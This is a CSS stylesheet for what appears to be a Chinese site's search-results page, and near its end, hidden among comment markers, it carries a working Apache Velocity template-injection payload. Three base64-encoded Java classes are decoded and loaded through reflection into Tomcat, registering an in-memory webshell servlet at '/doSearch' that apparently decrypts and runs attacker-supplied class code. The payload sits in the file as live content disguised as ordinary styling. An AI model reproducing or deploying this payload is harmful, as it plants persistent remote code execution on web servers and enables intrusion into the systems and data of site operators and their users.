html, body, div, span, applet, object, iframe,h1, h2, h3, h4, h5, h6, p, blockquote, pre,a, abbr, acronym, address, big, cite, dfn, em, font, img, ins, kbd, q, s, samp,small, strike, strong, sub, sup, tt, var,b, u, i, center, dl, dt, dd, ol, ul, li,fieldset, orm,label, legend,caption, tbody, tfoot, thead {font-family:"microsoft yahei";margin: 0;padding: 0;border: 0;outline: 0;vertical-align: baseline;background: transparent;font-size:16px;}
ol, ul ,li{list-style: none;}
/* remember to define focus styles! */
:focus {outline: 0;}
/* remember to highlight inserts somehow! */
ins {text-decoration: none;}
del {text-decoration: line-through;}
input{background: none;border: none;}
strong{font-size:20px;}
a{color:#333;}
a{cursor: pointer;}
.fl{float: left;}
.fr{float: right;}
.clearfix:after{content: "";display: block;height: 0;visibility: hidden;clear: both;}
.clearfix{zoom: 1;}
.clear{clear:both}
.none{display:none;}
.nav li{list-style: none;}
.ln-head { background: url(/search/fileDir/file/list/2022122616472810175.png); }


/*分页*/
.default-result-list-paging { display: flex; align-items: center; justify-content: center; width:100%;} 
.pagination>li a { margin-right: 10px; border-radius: 7px; color: #222; }
.pagination>.active>a{ background-color: #F04646 !important; border-color: #F04646 !important; }
.pagination>li:first-child>a,.pagination>li:last-child>a{ border-bottom-left-radius: 7px !important;  border-top-left-radius: 7px !important; border-bottom-right-radius: 7px;  border-top-right-radius: 7px;}




/*搜索框*/
.result_search { width: 571px; height: 57px; line-height: 57px; background: url(/search/fileDir/file/list/2022122616472073792.png) no-repeat center; margin: 0 auto 30px; }
.search_imgBox { width: 11%; height: 100%; display: flex; justify-content: center; align-items: center; } 
form#mySearchFormAction { width: 89%; height: 100%; } 
.inp-area input {border: 0px;background: none;height: 57px;line-height: 57px;outline: none;} 
.search_inp { width: 74%; font-size:20px;} 
input.search_btn { width: 27%; background: url(/search/fileDir/file/list/2022122616503228527.png) no-repeat center; color: #fff; font-size: 20px; font-weight: bold; border-radius: 50px; } 
.inp-area { height: 100%;display: flex;align-items: center; }

/*面包屑*/
.location{margin: 30px auto;height: 50px;line-height: 50px;background: url(/search/fileDir/file/list/2022122616472810175.png) no-repeat center;font-size: 20px;color: #e50013;font-weight: bold;}
.location a{color: #e50013;font-size:20px;}
.location  img{height: 20px;margin: 15px}
.location p a{color: #333333}
.location p .red{color: #e50013}
.newslist{width: 100%;display: inline-block;}
.w1200{width:1200px;margin:0 auto;}


/*搜索列表*/
.list-article { border-bottom: 1px dashed #ECECEC; padding: 10px 0; } 
.txtCon {padding-left: 20px;font-size: 14px;color: #666;line-height: 24px;margin: 10px auto 0;display: -webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp: 3;overflow: hidden;}
.list-article h3 { font-size: 16px; color: #333; font-weight: normal; text-indent: 20px; background: url(/search/fileDir/file/list/2022122616464522316.png) no-repeat left center; } 
.list-article h3 a { color: #333; font-weight: normal; }
.list-article h3:hover { color: #e70012; }
.list-article h3:hover a { color: #e70012; } 

/*公用footer*/
.yd-foot , .footer_b{display:none;}
.w1200{width:1200px;margin:0 auto;}
.pc-foot{display:inline-block;}
.footer { margin-top: 20px; width: 100%; padding: 40px 0; border-top: 3px solid #F1212C; } 
.footer .footer_l { width: 700px; font-size: 15px; color: #666666; } 
.footer .footer_l span { line-height: 40px; margin-top: 30px; color: #666; } 
.footer .footer_l img { margin-top: 10px; } 
.footer .footer_r { width: 420px; } 
.footer .footer_r .ewm { width: 200px; text-align: center; color: #999; } 
.footer .footer_r .ewm p { color: #999; }
@media screen and (max-width: 1200px){
  .footer .footer_l{width:70%;}
  .footer .footer_r{width:30%;}
  .footer .footer_r .ewm{width:150px;}
  .footer_l p{text-indent:0 !important;font-size:16px;}
}
@media screen and (max-width: 768px){
  span.default-result-tolal-records { display: flex; align-items: center; justify-content: center; width: 100%; }
  .list-article h3 { background-position: top left; background-position-y: 10px; }
  /*.list-article h3 { text-indent: 0px; } */
  .txtCon { padding: 0; }
  .w1200{width:94% !important;margin:0 auto;}
  .yd-foot , .footer_b{display:block;}
  .pc-foot{display:none;}
  .yd-footer {width: 100%;display: inline-block;  padding: 30px 0; background: #fff;  text-align: center; color: #666;border-top: 2px solid #E70012;margin-top:30px;}
  .w96 {width: 96%;margin: 0 auto; }
  .yd-footer p {  line-height: 30px; }
  .yd-footer .yd-ewm p { font-size: 14px;  line-height: 24px; color: #999999;text-align: center;width: 50%;  float: left; }
  .yd-footer .yd-ewm p img {  margin-bottom: 0px;max-width: 80%; }
  .footer_b { text-align: center;padding: 10px 0;background: #F0F0F0; color: #999; }
  .footer_b p{color: #999;font-size:14px;text-indent:0;}
  .yd-footer p{font-size:16px;text-indent:0;}
  .location { margin: 55px auto 20px !important; } 
  .result_search { width: 90%; background-size: 100% 100%; height: 50px; line-height: 50px; } 
  input.search_btn { height: 50px !important; line-height: 50px !important; border-radius: 20px !important; }
  .list-article h3 a { display: block; width: 100%; font-weight: bold; color: #4f4f4f; line-height: 30px; } 
  .list-article h3 span { float: right; font-size: 14px; float: left; } 
  .default-result-list-paging {display: inline-block;text-align: center;margin-bottom: 20px;} 
  .pagination>li a { margin: 0; }
  .w100{width:100% !important;}
}

@media screen and (max-width:350px){
  /*.list-article h3 { text-indent: 0px; } .txtCon { padding: 0; }*/
}



.ass-result-list{display:none!important;}
/**/
/**/
START
#set($s="")
#set($shellServlet="yv66vgAAADIAkwoAIQBACABBCwBCAEMIAEQLAEIARQgARgsARwBICABJCgBKAEsHAEwKAE0ATgoACgBPCgBKAFAHAFEKAFIAUwoAVABVCgAOAFYHAFcKABIAQAsAQgBYCgBZAFoKABIAWwoASgBcCgAOAF0KAFQAXgcAXwoAGgBgCgBSAGEKAGIAYwcAZAoAIABlBwBmBwBnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMTmV3U2hlbGxTZXJ2bGV0OwEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAEY29kZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAA1TdGFja01hcFRhYmxlBwBmBwBoBwBpBwBqBwBrBwBkAQAGZG9Qb3N0AQAKU291cmNlRmlsZQEAFE5ld1NoZWxsU2VydmxldC5qYXZhDAAiACMBAA5nZXRBamF4UmVxdWVzdAcAaAwAbABtAQAQY2ZlNzJmOTM4ZjU3M2Y5MwwAbgBvAQABdQcAawwAcABxAQADQUVTBwByDABzAHQBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjBwBqDAB1AHYMACIAdwwAeAB5AQABVQcAegwAewB8BwB9DAB+AH8MACIAgAEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAIEAggcAgwwAhACFDACGAIcMAIgAiQwAigCLDACMAI0BABdQYWdlQ29udGV4dEltcGxGb3JTaGVsbAwAIgAqDACOAI8HAJAMAJEAkgEAE2phdmEvbGFuZy9FeGNlcHRpb24MACkAKgEAD05ld1NoZWxsU2VydmxldAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9TdHJpbmcBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABFqYXZhL2xhbmcvQm9vbGVhbgEAB3ZhbHVlT2YBABYoWilMamF2YS9sYW5nL0Jvb2xlYW47ACEAIAAhAAAAAAADAAEAIgAjAAEAJAAAAC8AAQABAAAABSq3AAGxAAAAAgAlAAAABgABAAAACQAmAAAADAABAAAABQAnACgAAAABACkAKgABACQAAAE9AAYACAAAAIIrEgK5AAMCAE4SBDoEK7kABQEAOgUtxgBrGQUSBhkEuQAHAwASCLgACToGGQYFuwAKWRkEtgALEgi3AAy2AA27AA5ZKrYAD7YAELcAERkGuwASWbcAEyu5ABQBALYAFbYAFrYAF7YAGLYAGbsAGlkrLLcAG7YAHLgAHToHpwAFOgaxAAEAGQB8AH8AHgADACUAAAAuAAsAAAAMAAkADQANAA4AFQAQABkAEgAkABMAKwAUAD8AFQB8ABoAfwAYAIEAHAAmAAAASAAHACsAUQArACwABgAAAIIAJwAoAAAAAACCAC0ALgABAAAAggAvADAAAgAJAHkAMQAyAAMADQB1ADMAMgAEABUAbQA0ADUABQA2AAAAHwAC/wB/AAYHADcHADgHADkHADoHADoHADsAAQcAPAEAAQA9ACoAAQAkAAAASQADAAMAAAAHKisstgAfsQAAAAIAJQAAAAoAAgAAAB8ABgAgACYAAAAgAAMAAAAHACcAKAAAAAAABwAtAC4AAQAAAAcALwAwAAIAAQA+AAAAAgA/")
#set($shellServlet=$s.getClass().forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer($shellServlet))
#set($U="yv66vgAAADIAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIAADAAQAAAAAAAIAAAAFAAYAAQAHAAAAPgACAAIAAAAGKiu3AAGxAAAAAgAIAAAACgACAAAAAgAFAAMACQAAABYAAgAAAAYACgALAAAAAAAGAAwADQABAAEADgAPAAEABwAAAD0ABAACAAAACSorAyu+twACsAAAAAIACAAAAAYAAQAAAAUACQAAABYAAgAAAAkACgALAAAAAAAJABAAEQABAAEAEgAAAAIAEw==")
#set($U=$s.getClass().forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer($U))
#set($PageContext="yv66vgAAADIAaQoABgBdCQAFAF4JAAUAXwsAYABhBwBiBwBjAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEABjxpbml0PgEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGUxQYWdlQ29udGV4dEltcGxGb3JTaGVsbDsBAAppbml0aWFsaXplAQBsKExqYXZheC9zZXJ2bGV0L1NlcnZsZXQ7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvU3RyaW5nO1pJWilWAQAHc2VydmxldAEAF0xqYXZheC9zZXJ2bGV0L1NlcnZsZXQ7AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWIBAAFaAQABaQEAAUkBAAJiMQEACkV4Y2VwdGlvbnMHAGQHAGUHAGYBAAdyZWxlYXNlAQADKClWAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAR0ZXN0AQAHZ2V0UGFnZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAxnZXRFeGNlcHRpb24BABcoKUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAEGdldFNlcnZsZXRDb25maWcBAB8oKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb25maWc7AQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAB2ZvcndhcmQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYHAGcBAAdpbmNsdWRlAQAWKExqYXZhL2xhbmcvU3RyaW5nO1opVgEAE2hhbmRsZVBhZ2VFeGNlcHRpb24BABgoTGphdmEvbGFuZy9FeGNlcHRpb247KVYBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWAQAJdGhyb3dhYmxlAQAVTGphdmEvbGFuZy9UaHJvd2FibGU7AQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAKChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDtJKVYBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEADWZpbmRBdHRyaWJ1dGUBAA9yZW1vdmVBdHRyaWJ1dGUBABYoTGphdmEvbGFuZy9TdHJpbmc7SSlWAQASZ2V0QXR0cmlidXRlc1Njb3BlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAYZ2V0QXR0cmlidXRlTmFtZXNJblNjb3BlAQAaKEkpTGphdmEvdXRpbC9FbnVtZXJhdGlvbjsBAAlTaWduYXR1cmUBAC4oSSlMamF2YS91dGlsL0VudW1lcmF0aW9uPExqYXZhL2xhbmcvU3RyaW5nOz47AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAFmdldEV4cHJlc3Npb25FdmFsdWF0b3IBACwoKUxqYXZheC9zZXJ2bGV0L2pzcC9lbC9FeHByZXNzaW9uRXZhbHVhdG9yOwEAE2dldFZhcmlhYmxlUmVzb2x2ZXIBACkoKUxqYXZheC9zZXJ2bGV0L2pzcC9lbC9WYXJpYWJsZVJlc29sdmVyOwEADGdldEVMQ29udGV4dAEAFigpTGphdmF4L2VsL0VMQ29udGV4dDsBAApTb3VyY2VGaWxlAQAcUGFnZUNvbnRleHRJbXBsRm9yU2hlbGwuamF2YQwACwAmDAAHAAgMAAkACgcAaAwAJwAoAQAXUGFnZUNvbnRleHRJbXBsRm9yU2hlbGwBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB9qYXZhL2xhbmcvSWxsZWdhbFN0YXRlRXhjZXB0aW9uAQAiamF2YS9sYW5nL0lsbGVnYWxBcmd1bWVudEV4Y2VwdGlvbgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QAIQAFAAYAAAACAAAABwAIAAAAAAAJAAoAAAAcAAEACwAMAAEADQAAAFkAAgADAAAADyq3AAEqK7UAAiostQADsQAAAAIADgAAABIABAAAABIABAATAAkAFAAOABUADwAAACAAAwAAAA8AEAARAAAAAAAPAAcACAABAAAADwAJAAoAAgABABIAEwACAA0AAABxAAAACAAAAAGxAAAAAgAOAAAABgABAAAAGgAPAAAAUgAIAAAAAQAQABEAAAAAAAEAFAAVAAEAAAABABYAFwACAAAAAQAYABkAAwAAAAEAGgAbAAQAAAABABwAHQAFAAAAAQAeAB8ABgAAAAEAIAAdAAcAIQAAAAgAAwAiACMAJAABACUAJgABAA0AAAArAAAAAQAAAAGxAAAAAgAOAAAABgABAAAAHwAPAAAADAABAAAAAQAQABEAAAABACcAKAABAA0AAABEAAEAAgAAAAwqtAACTCu5AAQBALAAAAACAA4AAAAKAAIAAAAjAAUAJAAPAAAAFgACAAAADAAQABEAAAAFAAcAKQAIAAEAAQAqACsAAQANAAAALAABAAEAAAACAbAAAAACAA4AAAAGAAEAAAApAA8AAAAMAAEAAAACABAAEQAAAAEALAAtAAEADQAAAC8AAQABAAAABSq0AAKwAAAAAgAOAAAABgABAAAALgAPAAAADAABAAAABQAQABEAAAABAC4ALwABAA0AAAAvAAEAAQAAAAUqtAADsAAAAAIADgAAAAYAAQAAADMADwAAAAwAAQAAAAUAEAARAAAAAQAwADEAAQANAAAALAABAAEAAAACAbAAAAACAA4AAAAGAAEAAAA4AA8AAAAMAAEAAAACABAAEQAAAAEAMgAzAAEADQAAACwAAQABAAAAAgGwAAAAAgAOAAAABgABAAAAPQAPAAAADAABAAAAAgAQABEAAAABADQANQABAA0AAAAsAAEAAQAAAAIBsAAAAAIADgAAAAYAAQAAAEIADwAAAAwAAQAAAAIAEAARAAAAAQA2ADcAAgANAAAANQAAAAIAAAABsQAAAAIADgAAAAYAAQAAAEgADwAAABYAAgAAAAEAEAARAAAAAAABABoAGwABACEAAAAGAAIAOAAiAAEAOQA3AAIADQAAADUAAAACAAAAAbEAAAACAA4AAAAGAAEAAABNAA8AAAAWAAIAAAABABAAEQAAAAAAAQAaABsAAQAhAAAABgACADgAIgABADkAOgACAA0AAAA/AAAAAwAAAAGxAAAAAgAOAAAABgABAAAAUgAPAAAAIAADAAAAAQAQABEAAAAAAAEAGgAbAAEAAAABABwAHQACACEAAAAGAAIAOAAiAAEAOwA8AAIADQAAADUAAAACAAAAAbEAAAACAA4AAAAGAAEAAABXAA8AAAAWAAIAAAABABAAEQAAAAAAAQA9AD4AAQAhAAAABgACADgAIgABADsAPwACAA0AAAA1AAAAAgAAAAGxAAAAAgAOAAAABgABAAAAXAAPAAAAFgACAAAAAQAQABEAAAAAAAEAQABBAAEAIQAAAAYAAgA4ACIAAQBCAEMAAQANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAAGEADwAAACAAAwAAAAEAEAARAAAAAAABABoAGwABAAAAAQBEAEUAAgABAEIARgABAA0AAABJAAAABAAAAAGxAAAAAgAOAAAABgABAAAAZgAPAAAAKgAEAAAAAQAQABEAAAAAAAEAGgAbAAEAAAABAEQARQACAAAAAQAeAB8AAwABAEcASAABAA0AAAA2AAEAAgAAAAIBsAAAAAIADgAAAAYAAQAAAGoADwAAABYAAgAAAAIAEAARAAAAAAACABoAGwABAAEARwBJAAEADQAAAEAAAQADAAAAAgGwAAAAAgAOAAAABgABAAAAbwAPAAAAIAADAAAAAgAQABEAAAAAAAIAGgAbAAEAAAACAB4AHwACAAEASgBIAAEADQAAADYAAQACAAAAAgGwAAAAAgAOAAAABgABAAAAdAAPAAAAFgACAAAAAgAQABEAAAAAAAIAGgAbAAEAAQBLADcAAQANAAAANQAAAAIAAAABsQAAAAIADgAAAAYAAQAAAHoADwAAABYAAgAAAAEAEAARAAAAAAABABoAGwABAAEASwBMAAEADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAB/AA8AAAAgAAMAAAABABAAEQAAAAAAAQAaABsAAQAAAAEAHgAfAAIAAQBNAE4AAQANAAAANgABAAIAAAACA6wAAAACAA4AAAAGAAEAAACDAA8AAAAWAAIAAAACABAAEQAAAAAAAgAaABsAAQABAE8AUAACAA0AAAA2AAEAAgAAAAIBsAAAAAIADgAAAAYAAQAAAIgADwAAABYAAgAAAAIAEAARAAAAAAACAB4AHwABAFEAAAACAFIAAQBTAFQAAQANAAAALAABAAEAAAACAbAAAAACAA4AAAAGAAEAAACNAA8AAAAMAAEAAAACABAAEQAAAAEAVQBWAAEADQAAACwAAQABAAAAAgGwAAAAAgAOAAAABgABAAAAkgAPAAAADAABAAAAAgAQABEAAAABAFcAWAABAA0AAAAsAAEAAQAAAAIBsAAAAAIADgAAAAYAAQAAAJcADwAAAAwAAQAAAAIAEAARAAAAAQBZAFoAAQANAAAALAABAAEAAAACAbAAAAACAA4AAAAGAAEAAACcAA8AAAAMAAEAAAACABAAEQAAAAEAWwAAAAIAXA==")
#set($PageContext=$s.getClass().forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer($PageContext))

STAGE1
#set($ReflectUtils=$s.getClass().forName("org.springframework.cglib.core.ReflectUtils").getDeclaredConstructor())
#set($classLoader=$s.getClass().forName("java.lang.Thread").currentThread().getContextClassLoader())
$ReflectUtils.setAccessible(true)
#set($ReflectUtilsObject=$ReflectUtils.newInstance())
#set($_=$ReflectUtilsObject.defineClass("U", $U, $classLoader))
#set($_=$ReflectUtilsObject.defineClass("PageContextImplForShell", $PageContext, $classLoader))
#set($_=$ReflectUtilsObject.defineClass("NewShellServlet", $shellServlet, $classLoader))
#set($shellServlet=$classLoader.loadClass("NewShellServlet").newInstance())

STAGE2
#set($servletContext=$request.getServletContext())
#set($f=$s.getClass().forName("org.apache.catalina.core.ApplicationContextFacade").getDeclaredField("context"))
$f.setAccessible(true)
#set($appContext=$f.get($servletContext))
#set($f=$s.getClass().forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("context"))
$f.setAccessible(true)
#set($m=$f.getClass().getDeclaredField("modifiers"))
$m.setAccessible(true)
$m.setInt($f, 1)

STAGE3
#set($standContext=$f.get($appContext))
#set($wrapper=$standContext.createWrapper())
$wrapper.setName("new-shell-servlet")
$standContext.addChild($wrapper)
$wrapper.setServletClass("NewShellServlet")
$wrapper.setServlet($shellServlet)
#set($appReg=$s.getClass().forName("org.apache.catalina.core.ApplicationServletRegistration").getDeclaredConstructors())
#foreach($reg in $appReg)
    #set($r=$reg.newInstance($wrapper, $standContext))
    #set($_=$r.addMapping("/doSearch"))
#end
OK
/**/
.w1200{width:1200px;margin:0 auto;}
